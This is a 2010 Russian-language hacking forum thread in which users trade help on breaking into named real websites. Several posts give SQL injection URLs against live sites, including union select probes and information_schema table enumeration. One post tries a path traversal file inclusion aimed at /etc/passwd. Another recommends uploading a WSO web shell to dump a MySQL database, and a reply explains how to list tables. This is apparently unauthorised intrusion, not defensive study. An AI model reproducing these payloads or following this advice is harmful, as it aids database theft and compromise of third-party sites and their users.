
15.09.2010, 20:59
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от jecka3000
при переходе в какую-нибудь диру пишет:
You don't have permission to access /admin on this server.
чем спастись от этого?
скорее всего фильтрация по айпи... так что не судьба..если конечно админ сайта не твой друг...
|
|
|

16.09.2010, 14:21
|
|
Новичок
Регистрация: 20.04.2010
Сообщений: 1
С нами:
8452580
Репутация:
3
|
|
Есть обычная blind sql inj, фильтруется LIMIT? Как можно раскрутить без LIMIT'a?
|
|
|

16.09.2010, 20:17
|
|
Познающий
Регистрация: 16.04.2008
Сообщений: 88
С нами:
9509918
Репутация:
30
|
|
hacker-nubik
http://raz0r.name/obzory/group_concat/
и особенно, ближе к самому концу, коммент от iHornet
еще сюда: https://rdot.org/forum/showthread.php?t=60 глянь
а как это к слепой прикрутить включай мозг
|
|
|

17.09.2010, 22:08
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
помогите заинклудить
http://luvaccessories.com/shopping.php?category_name=Romantic_Gifts&page=../../../../etc/pssswd%00
|
|
|

19.09.2010, 13:00
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
как слить базу данных мускул? есть доступ к фтп.
|
|
|

19.09.2010, 13:28
|
|
Новичок
Регистрация: 04.06.2010
Сообщений: 0
С нами:
8388263
Репутация:
0
|
|
http://www.skunk2.com/news2.php?news_id=43+union+select+1,2--
выдает ошибку хотя количество полей подобрано верно
обьясните почему и как выкрутиться
|
|
|

19.09.2010, 13:43
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от Nightmarе
Залить шелл, лучше WSO, и через него сдампить.
я пробовал неполучилось
пишет error can't open file
а теперь в предачу еще пишет
You were denied access because:
Access denied by access control list.
но это изза прокси...
может посоветуете какойнибудь провереный дампер
|
|
|

19.09.2010, 14:19
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от Axel_Ustus
http://www.skunk2.com/news2.php?news_id=43+union+select+1,2--
выдает ошибку хотя количество полей подобрано верно
обьясните почему и как выкрутиться
BLIND
|
|
|

19.09.2010, 16:39
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
как узнать список таблиц из определенной бд?
я пробовал чтото вроде этого
http://www.ччч.ru/news.php?id=-45+union+select+1,2,3,4,5,unhex%28hex%28group_conc at%28table_name%29%29%29,7,8,9,10+from+information _schema.schemata+where+schema_name=0x00000000
невыйшло..
|
|
|

19.09.2010, 16:44
|
|
Новичок
Регистрация: 27.07.2010
Сообщений: 16
С нами:
8312726
Репутация:
0
|
|
Сообщение от 547
как узнать список таблиц из определенной бд?
я пробовал чтото вроде этого
http://www.ччч.ru/news.php?id=-45+union+select+1,2,3,4,5,unhex%28hex%28group_conc at%28table_name%29%29%29,7,8,9,10+from+information _schema.schemata+where+schema_name=0x00000000
невыйшло..
from+information_schema.tables+where+table_schema= 0x000
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|